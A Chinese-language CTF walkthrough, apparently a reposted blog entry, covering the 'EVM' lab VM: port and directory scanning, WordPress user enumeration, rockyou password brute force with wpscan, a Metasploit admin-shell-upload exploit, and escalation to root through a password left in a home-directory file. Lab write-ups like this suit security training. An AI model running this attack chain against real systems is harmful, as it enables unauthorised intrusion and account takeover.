EVM
2021/9/24 23:11:53
本文主要是介绍EVM,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
靶机设置
将靶机导入VirtualBox中,有时候导入VM会出错,扫描不到ip地址。
kali:192.168.1.100
kali扫描获得ip地址:192.168.1.107
渗透测试
接着扫描端口
nmap -sS -sV -T5 -A -p- 192.168.1.107
访问80端口
没有什么有用的信息,扫一下目录
./dirsearch.py -u http://192.168.1.107 -e*
扫出info.php
换个工具在扫一波
dirb http://192.168.1.107
扫到wordpress目录,访问一下:
发现使用的是wordpress框架,使用wpscan工具进行扫描
wpscan --url http://192.168.1.107/wordpress -e ap -e at -e u
扫描到一个用户:c0rrupt3d_brain
接着使用此工具爆破密码
wpscan --url http://192.168.1.107/wordpress -U c0rrupt3d_brain -P /usr/share/wordlists//rockyou.txt
密码为: 24992499
Metasploit有内置wordpress漏洞
启动Metasploit,然后键入以下命令:
msfconsole use exploit/unix/webapp/wp_admin_shell_upload set rhosts 192.168.1.107 set USERNAME c0rrupt3d_brain set PassWORD 24992499 set targeturi /wordpress run
成功了,cd /home
有一个root3r的文件,进入查看
有一个.root_password_ssh.txt文件查看
获得了ssh的密码:willy26
我们知道了root用户的密码好我们提权
我们先建立交互式
shell python -c 'import pty;pty.spawn("/bin/bash")' su root willy26
提权成功
进入root文件夹下获取flag信息
这篇关于EVM的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-06小米11i印度快充版ROM合集:极致体验,超越期待
- 2024-10-06【ROM下载】小米11i 5G 印度版系统, 疾速跃迁,定义新速度
- 2024-10-06【ROM下载】小米 11 青春活力版,青春无极限,活力全开
- 2024-10-05小米13T Pro系统合集:性能与摄影的极致融合,值得你升级的系统ROM
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求